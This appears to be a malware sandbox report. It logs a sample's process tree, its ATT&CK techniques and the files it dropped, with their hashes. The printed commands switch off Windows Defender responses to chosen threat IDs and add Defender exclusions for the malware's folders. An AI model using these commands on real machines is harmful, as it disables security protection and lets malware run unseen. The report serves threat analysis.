"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:2740

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:5276

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:4192

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:5504

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:4308

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:4864

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:3688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:4672

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:2452

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:1548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:5232

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:5328

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:4488

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DFQqruzGU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DFQqruzGU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HYNzChQHGFrAC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HYNzChQHGFrAC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PUGYXcoPCHPXWVCkzFR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PUGYXcoPCHPXWVCkzFR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cAMurkQLpHHU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cAMurkQLpHHU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xaDtwvIgttUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xaDtwvIgttUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\UTyLZXhmVkbFYLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\UTyLZXhmVkbFYLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BInNSjlobDuvYZgQA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BInNSjlobDuvYZgQA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LvGkdVHMKJDKYieT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LvGkdVHMKJDKYieT\" /t REG_DWORD /d 0 /reg:64;"
2⤵
PID:3464

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DFQqruzGU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3680

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DFQqruzGU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4536

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DFQqruzGU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5328

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HYNzChQHGFrAC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4388

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HYNzChQHGFrAC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1020

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PUGYXcoPCHPXWVCkzFR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:5568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PUGYXcoPCHPXWVCkzFR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1056

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cAMurkQLpHHU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3224

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cAMurkQLpHHU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3992

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaDtwvIgttUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaDtwvIgttUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\UTyLZXhmVkbFYLVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:4412

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\UTyLZXhmVkbFYLVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:5140

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BInNSjlobDuvYZgQA /t REG_DWORD /d 0 /reg:32
3⤵
PID:4244

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Process Discovery

T1057

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
Filesize
2KB

MD5
eba45bc75daf7421d4767f04582068ca

SHA1
e2d2b46d3780a8b7cdde6e542430f0da28684ce8

SHA256
87f79123a6048371f5e4eccca848509ff8315dea4be740c8480fe945c02b4f38

SHA512
0c081c029224806b1f1f200da673a9554e5d40756736f9ca8bc073c25703092c6d1e72a2fd971b41bedeba26e6ca9fa85486df39f852505925a49d8b94e0e330

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
Filesize
1KB

MD5
4f74b1c3f52834fb5d5d0946410f286a

SHA1
e8b1734733535d236f422c282271e97b784b5261

SHA256
56b6f9f565e620e3cc377ac2265180c96efff2844f11cbb229eef977327869f1

SHA512
b84101ebe8570b2f0ecbefafcf58b941100ac6efc9cbbfc711e57bedf6cb6fc62141bd2d66c34f4b316568948ff6448c96ddef2cfde625965a9ea5968beefb2c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
Filesize
488B

MD5
16286e3f882b0b40cf1b1ad68a7ac4ad

SHA1
b4981e2b4bf2fa5694c2a2eb19353925294a4b6f

SHA256
c40b665322494d9991bd45c8df7e2a55d8bed51b74472bb5c5a3f24de1829554

SHA512
ba53f2a682fcada6c5f5f31efd036cda8facfc3dec4d0e7fcf526670d6aef95054ca546a18c85f5eff8da277f7ca3303957da42194480f8f43ea93b12d08eea9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
Filesize
396B

MD5
331dd731b98a0017c9b075dccc528c3b

SHA1
e3b745058ffa7206ae301f807123bcc96ee2a726

SHA256
34a13f8d49e7c508742f04b76c9a9844082196dbf6294df6bb6841cb4536a55c

SHA512
4fe6e2555b0a029183fa7733b622a4d06ff29b03e16f975d308d6d9fefde93d35e95cda65e51052690ed90de137cb9d44d4dfcdc127dba9cc476d982bf795ec4

Download Submit
C:\Users\Admin\AppData\Local\5a5a3e60-95da-4185-a2ba-82069a41aa26\build.exe.exe
Filesize
859KB

MD5
b928a3c483047a757995aeb4bd856fb8

SHA1
10492535ba5c73134310edc991e1cce5cc496ae9

SHA256
a137ef69c31ccb16b44e956b49a71361b8ad50c06d82b508032239b573677f4d

SHA512
20b8f64fab9b2d362fc3ce14a6298777038bd32a2e6c7fcc1ffe980c03da7e966f10f5b7560262bfcb829664a26f445c94184367f2c713993bfcc68b79a3ebe9

Download Submit
C:\Users\Admin\AppData\Local\Temp\5VNCVdQR.CPl
Filesize
112.3MB

MD5
d9c5f3288a008372f8e94986a130f51b

SHA1
425e29d45a628e86208b7b66d772880798a1e5e0

SHA256
635886ddba12066fc3dd5a946423b5345c7850f6010cbe1bb0a603f4719c61bd

SHA512
bc5c7dc6dc421b2484fd192b0b1a511bc141d4907eb3c3c9b28a18a2ad4c00556aec64ca3770ca614f13b856a88bb91cce83f64538b89e68fa3237d92385ed49

Download Submit
C:\Users\Admin\AppData\Local\Temp\5VNCVdQR.cpl
Filesize
108.2MB

MD5
238d9374855aca69d49775704fdd908e

SHA1
fffecdd4c9f0c1a0865819443847b8cce7dd0793

SHA256
59b54426ad1fa9f70894ad18cc142660f81959177fb5e6740a3be36e0b1a319e

SHA512
9a0599e5b2ba6abfb822e2b4c029d3293951d7aece9673b74d63fb1ee751ffa929f2a740596dcac80ac72a9bb79158d035db9e308569f2c3df9957b56eae3c5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\5VNCVdQR.cpl
Filesize
114.8MB

MD5
fed32105aea270502203f5b68a6db677

SHA1
a5f62ed887607f88f958b4547d3f4c2e64268797

SHA256
b1bdcacdfe17894d87c2d321c36555d915dc4ba4721c60455512e61262cd56f8

SHA512
0ae7af18fb94f167eaa05da73bf4aac466980904deab020df2c7b1b18d1dc228fe2a297a8c65a26d71dffb050639079cfa0f9414bad14b0754742f055aa16b82

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS21B1.tmp\Install.exe
Filesize
6.3MB

MD5
bb1bc57d6d77d1820baa0b2f2202bfc2

SHA1
ededf38046ea50a3283c6e24618bea36dd7fc888

SHA256
e48f064091be84300399ea45d97c048c22ff28312268bbb6304afc11b9c04d4e

SHA512
d06c97b2517ef1b00cf1deadbf880cd8c62050980355a5d12c718f018cc54243c0235bff4e8cf73e39fa93b7e8df28cbaa9a20939d363c6cfe092e80099c0373

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS21B1.tmp\Install.exe
Filesize
6.3MB

MD5
bb1bc57d6d77d1820baa0b2f2202bfc2

SHA1
ededf38046ea50a3283c6e24618bea36dd7fc888

SHA256
e48f064091be84300399ea45d97c048c22ff28312268bbb6304afc11b9c04d4e

SHA512
d06c97b2517ef1b00cf1deadbf880cd8c62050980355a5d12c718f018cc54243c0235bff4e8cf73e39fa93b7e8df28cbaa9a20939d363c6cfe092e80099c0373

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS7937.tmp\Install.exe
Filesize
6.8MB

MD5
3914ad6061cdb09ade58320aa0f5a4a1

SHA1
2ee210ac01e55a54a282ba67a87e4e72ea023f8a

SHA256
f50e0f95bdb02f9582abf6a74df87ab41550fa8fa82d28cf8924e4963e3df297

SHA512
02d56ed137846facb58a52107bf44cafd31cc771492814f99149bacb399e31c40c2e81161f3be2e48bae738ce2cf6e9e15f91eae6bee8b883b1fdf0047768377

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS7937.tmp\Install.exe
Filesize
6.8MB

MD5
3914ad6061cdb09ade58320aa0f5a4a1

SHA1
2ee210ac01e55a54a282ba67a87e4e72ea023f8a

SHA256
f50e0f95bdb02f9582abf6a74df87ab41550fa8fa82d28cf8924e4963e3df297

SHA512
02d56ed137846facb58a52107bf44cafd31cc771492814f99149bacb399e31c40c2e81161f3be2e48bae738ce2cf6e9e15f91eae6bee8b883b1fdf0047768377

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Nell.vst
Filesize
8KB

MD5
44c400dcd4a04a7e9d92cbf701dc8dd3

SHA1
3d403e7d512c1bafe096cf194f985fbcf63acfae

SHA256
b9a2d76b7822428f6c8a6ebe4738ce10f64b3fa4d3768f2a35aa0cf69aa5d035

SHA512
e778d9b4351b154ddf6e594e6ceaaffc2784927ddb013e7505b3569278ab3e58cb7baa6d6f1fc479af2956ea51f0d88ab1cc7a3d1853dfaf0be56e1f5c37d6e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Calore.sldm
Filesize
9KB

MD5
8d3e1239e664dcb8f43adb6ccd0778c7

SHA1
8a4efdf95f637a7d8af58ce79e37dbda47a09b46

SHA256
8365b7b98c5c569b94a9a6783e7ab0f5242dc77bda1c22a59d063ca29ed21b58

SHA512
2570c993a52fa6c064170fa3cbb8cb7f99e404322ed9d9c3ccfc001537cee53848fa70a1c90161d7930771ade6d63b12f89d93a38c28023a480c3ff480431fe6

Download Submit
C:\Users\Admin\AppData\Local\Temp\dd-81f3c-ed0-ce990-56042c6a3357e\Dolojixaxy.exe
Filesize
324KB

MD5
55f9c8c226d3f434d9518522123c3201

SHA1
17e8b2629c9ab9122500ecf8802828d894b4aa39

SHA256
0869692793e8940ae58615f19957da715c053e7f3e1d5f2aa7d64ea2a9bb077b

SHA512
886cd1f6677572abb54b8ec8fa9f2936b895b04fa888df75013dae22ba3e211c1db2271da9b1caad40d8f36e0e29ea8a0ca11e883f6f37938d948f36fe3a8d18

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-5P0UE.tmp\AdblockInstaller.exe.tmp
Filesize
3.0MB

MD5
64f68f0b5364a0313ef5c2ede5feac47

SHA1
00ad3dab6e7906ba79ba23ee43809430ed7901b4

SHA256
25c367da28a2e61834bbaeed1a594a0ca1e377a8c27215c9ad6ac5d97f671b8b

SHA512
75586a619f9dc618652d62849c7de840faf83378adbb78572a342807b2749628fd0baaea79e16124cac5f82aa49bc9f77274af039cd7d52885cc655235658de1

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-5P0UE.tmp\AdblockInstaller.exe.tmp
Filesize
3.0MB

MD5
64f68f0b5364a0313ef5c2ede5feac47

SHA1
00ad3dab6e7906ba79ba23ee43809430ed7901b4

SHA256
25c367da28a2e61834bbaeed1a594a0ca1e377a8c27215c9ad6ac5d97f671b8b

SHA512
75586a619f9dc618652d62849c7de840faf83378adbb78572a342807b2749628fd0baaea79e16124cac5f82aa49bc9f77274af039cd7d52885cc655235658de1

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-CVSIQ.tmp\djkdj778_______.exe
Filesize
654KB

MD5
6c0577d77a62c8bdf98ba2b140785755

SHA1
9a68170711e2d9fa854523c51ad6b6f52c846024

SHA256
02fa861f478283a7030003854fb38447a1d7de8ccdd3b9dd0733984f0002c654

SHA512
7463c3d2357a5f53f035ec137e193e5eee27df4f6df8c10b40d963286b221a1dd63906ce5dcb9ffdc1f9931f5df489435a077ef92ae54cdb707969a10e9db798

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-CVSIQ.tmp\djkdj778_______.exe
Filesize
654KB

MD5
6c0577d77a62c8bdf98ba2b140785755

SHA1
9a68170711e2d9fa854523c51ad6b6f52c846024

SHA256
02fa861f478283a7030003854fb38447a1d7de8ccdd3b9dd0733984f0002c654

SHA512
7463c3d2357a5f53f035ec137e193e5eee27df4f6df8c10b40d963286b221a1dd63906ce5dcb9ffdc1f9931f5df489435a077ef92ae54cdb707969a10e9db798

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-CVSIQ.tmp\idp.dll
Filesize
216KB

MD5
8f995688085bced38ba7795f60a5e1d3

SHA1
5b1ad67a149c05c50d6e388527af5c8a0af4343a

SHA256
203d7b61eac96de865ab3b586160e72c78d93ab5532b13d50ef27174126fd006

SHA512
043d41947ab69fc9297dcb5ad238acc2c35250d1172869945ed1a56894c10f93855f0210cbca41ceee9efb55fd56a35a4ec03c77e252409edc64bfb5fb821c35

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-DV9AO.tmp\B2BCH2.exe.tmp
Filesize
805KB

MD5
bf8662a2311eb606e0549451323fa2ba

SHA1
79fbb3b94c91becb56d531806daab15cba55f31c

SHA256
4748736cfa0ff8f469c483cd864166c943d30ff9c3ba0f8cdf0b6b9378a89456

SHA512
e191a8a50e97800d3fb3cb449d01f1d06dda36d85845355f68d3038e30c3a2a7aa8d87e29f0f638ae85d2badd68eccc26a279f17fb91a38de2fa14a015ed3cc0

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-PEFOC.tmp\PEInjector.dll
Filesize
186KB

MD5
a4cf124b21795dfd382c12422fd901ca

SHA1
7e2832f3b8b8e06ae594558d81416e96a81d3898

SHA256
9e371a745ea2c92c4ba996772557f4a66545ed5186d02bb2e73e20dc79906ec7

SHA512
3ee82d438e4a01d543791a6a17d78e148a68796e5f57d7354da36da0755369091089466e57ee9b786e7e0305a4321c281e03aeb24f6eb4dd07e7408eb3763cdd

Download Submit
C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\settings.dat
Filesize
40B

MD5
fa65a84817532fd973cba3a8323968ea

SHA1
8f0a5390f7a5fad735b009c6fc707908e6263b4f

SHA256
c9e23c1f40078eeec170cf47a2cc1895977f7bf774c03f22c98aa86f69854158

SHA512
bcfea97818391d7d6642bddcda3505278c532dbeb87f69ca8ba3ecf1f35bbbaef18678fd5d537c0a4489e7a61fcc9109fd0044651386eee96b6d03e6c4fb6db9

Download Submit
C:\Users\Admin\Documents\4AR3U3mEfz985TYJMFKhMcib.exe
Filesize
351KB

MD5
312ad3b67a1f3a75637ea9297df1cedb

SHA1
7d922b102a52241d28f1451d3542db12b0265b75

SHA256
3b4c1d0a112668872c1d4f9c9d76087a2afe7a8281a6cb6b972c95fb2f4eb28e

SHA512
848db7d47dc37a9025e3df0dda4fbf1c84d9a9191febae38621d9c9b09342a987ff0587108cccfd874cb900c88c5f9f9ca0548f3027f6515ed85c92fd26f8515

Download Submit
C:\Users\Admin\Documents\4AR3U3mEfz985TYJMFKhMcib.exe
Filesize
351KB

MD5
312ad3b67a1f3a75637ea9297df1cedb

SHA1
7d922b102a52241d28f1451d3542db12b0265b75

SHA256
3b4c1d0a112668872c1d4f9c9d76087a2afe7a8281a6cb6b972c95fb2f4eb28e

SHA512
848db7d47dc37a9025e3df0dda4fbf1c84d9a9191febae38621d9c9b09342a987ff0587108cccfd874cb900c88c5f9f9ca0548f3027f6515ed85c92fd26f8515

Download Submit
C:\Users\Admin\Pictures\Adobe Films\AdblockInstaller.exe.exe
Filesize
12.1MB

MD5
19b20fc498d366730c470bacab083fe7

SHA1
9d63950c73423991e2884392bc9682d836f9e031

SHA256
8a227b80714a2ee25f04541f20c7bcee3063d96541dde42e9c99523e2cd74341

SHA512
0c03e865381fab1e06b2c42f70a3183bd96b06eaa6524f9d254ff708859b89c92a5f7c7186c84888bd543ad1cbf3d45ca4125acdaec059751e9ba2097f90dedb

Download Submit
C:\Users\Admin\Pictures\Adobe Films\AdblockInstaller.exe.exe
Filesize
12.1MB

MD5
19b20fc498d366730c470bacab083fe7

SHA1
9d63950c73423991e2884392bc9682d836f9e031

SHA256
8a227b80714a2ee25f04541f20c7bcee3063d96541dde42e9c99523e2cd74341

SHA512
0c03e865381fab1e06b2c42f70a3183bd96b06eaa6524f9d254ff708859b89c92a5f7c7186c84888bd543ad1cbf3d45ca4125acdaec059751e9ba2097f90dedb

Download Submit
C:\Users\Admin\Pictures\Adobe Films\B2BCH2.exe.exe
Filesize
521KB

MD5
300156dc1d3849922f353f244bda0dfb

SHA1
1f5d047002625fb63f5f4a85b18cd3c7dabc690f

SHA256
d311534b6a4a31102eb47cb0be36386237fa1e07d614553b053523cc6c72bf26

SHA512
a804e87ae5abdd44ebfdc3598bb4a2a23890550017b3ad5794dd404634c0ad82602b2eb8182416b5a8b803e0dc2408f260b852e78f3387ac771863ed8091958a

Download Submit
C:\Users\Admin\Pictures\Adobe Films\B2BCH2.exe.exe
Filesize
521KB

MD5
300156dc1d3849922f353f244bda0dfb

SHA1
1f5d047002625fb63f5f4a85b18cd3c7dabc690f

SHA256
d311534b6a4a31102eb47cb0be36386237fa1e07d614553b053523cc6c72bf26

SHA512
a804e87ae5abdd44ebfdc3598bb4a2a23890550017b3ad5794dd404634c0ad82602b2eb8182416b5a8b803e0dc2408f260b852e78f3387ac771863ed8091958a

Download Submit
C:\Users\Admin\Pictures\Adobe Films\NiceProcessX64.bmp.exe
Filesize
318KB

MD5
3f22bd82ee1b38f439e6354c60126d6d

SHA1
63b57d818f86ea64ebc8566faeb0c977839defde

SHA256
265c2ddc8a21e6fa8dfaa38ef0e77df8a2e98273a1abfb575aef93c0cc8ee96a

SHA512
b73e8e17e5e99d0e9edfb690ece8b0c15befb4d48b1c4f2fe77c5e3daf01df35858c06e1403a8636f86363708b80123d12122cb821a86b575b184227c760988f

Download Submit
C:\Users\Admin\Pictures\Adobe Films\NiceProcessX64.bmp.exe
Filesize
318KB

MD5
3f22bd82ee1b38f439e6354c60126d6d

SHA1
63b57d818f86ea64ebc8566faeb0c977839defde

SHA256
265c2ddc8a21e6fa8dfaa38ef0e77df8a2e98273a1abfb575aef93c0cc8ee96a

SHA512
b73e8e17e5e99d0e9edfb690ece8b0c15befb4d48b1c4f2fe77c5e3daf01df35858c06e1403a8636f86363708b80123d12122cb821a86b575b184227c760988f

Download Submit
C:\Users\Admin\Pictures\Adobe Films\WEFdanE.exe.exe
Filesize
937KB

MD5
30bf97b0d9cfc24ddb76d6240f4dd041

SHA1
50c81bc2df517c6239468e3bd30c964c789720db

SHA256
87d338b6e921a78c634dbfa9ec6d03e144e6f0e9f7f1aee2133f3ea0c6c2c8fd

SHA512
87d5b1c15394e44507478541752f43af0507d44cd931f79e8cb635625316432b196583fdfaa4533ee93adca9fac4b0218c873c366fb7ed956bc4aaa416415cdd

Download Submit
C:\Users\Admin\Pictures\Adobe Films\WEFdanE.exe.exe
Filesize
937KB

MD5
30bf97b0d9cfc24ddb76d6240f4dd041

SHA1
50c81bc2df517c6239468e3bd30c964c789720db

SHA256
87d338b6e921a78c634dbfa9ec6d03e144e6f0e9f7f1aee2133f3ea0c6c2c8fd

SHA512
87d5b1c15394e44507478541752f43af0507d44cd931f79e8cb635625316432b196583fdfaa4533ee93adca9fac4b0218c873c366fb7ed956bc4aaa416415cdd

Download Submit
C:\Users\Admin\Pictures\Adobe Films\build.exe.exe
Filesize
859KB

MD5
b928a3c483047a757995aeb4bd856fb8

SHA1
10492535ba5c73134310edc991e1cce5cc496ae9

SHA256
a137ef69c31ccb16b44e956b49a71361b8ad50c06d82b508032239b573677f4d

SHA512
20b8f64fab9b2d362fc3ce14a6298777038bd32a2e6c7fcc1ffe980c03da7e966f10f5b7560262bfcb829664a26f445c94184367f2c713993bfcc68b79a3ebe9

Download Submit
C:\Users\Admin\Pictures\Adobe Films\build.exe.exe
Filesize
859KB

MD5
b928a3c483047a757995aeb4bd856fb8

SHA1
10492535ba5c73134310edc991e1cce5cc496ae9

SHA256
a137ef69c31ccb16b44e956b49a71361b8ad50c06d82b508032239b573677f4d

SHA512
20b8f64fab9b2d362fc3ce14a6298777038bd32a2e6c7fcc1ffe980c03da7e966f10f5b7560262bfcb829664a26f445c94184367f2c713993bfcc68b79a3ebe9

Download Submit
C:\Users\Admin\Pictures\Adobe Films\build.exe.exe
Filesize
859KB

MD5
b928a3c483047a757995aeb4bd856fb8

SHA1
10492535ba5c73134310edc991e1cce5cc496ae9

SHA256
a137ef69c31ccb16b44e956b49a71361b8ad50c06d82b508032239b573677f4d

SHA512
20b8f64fab9b2d362fc3ce14a6298777038bd32a2e6c7fcc1ffe980c03da7e966f10f5b7560262bfcb829664a26f445c94184367f2c713993bfcc68b79a3ebe9

Download Submit
C:\Users\Admin\Pictures\Adobe Films\build.exe.exe
Filesize
859KB

MD5
b928a3c483047a757995aeb4bd856fb8

SHA1
10492535ba5c73134310edc991e1cce5cc496ae9

SHA256
a137ef69c31ccb16b44e956b49a71361b8ad50c06d82b508032239b573677f4d

SHA512
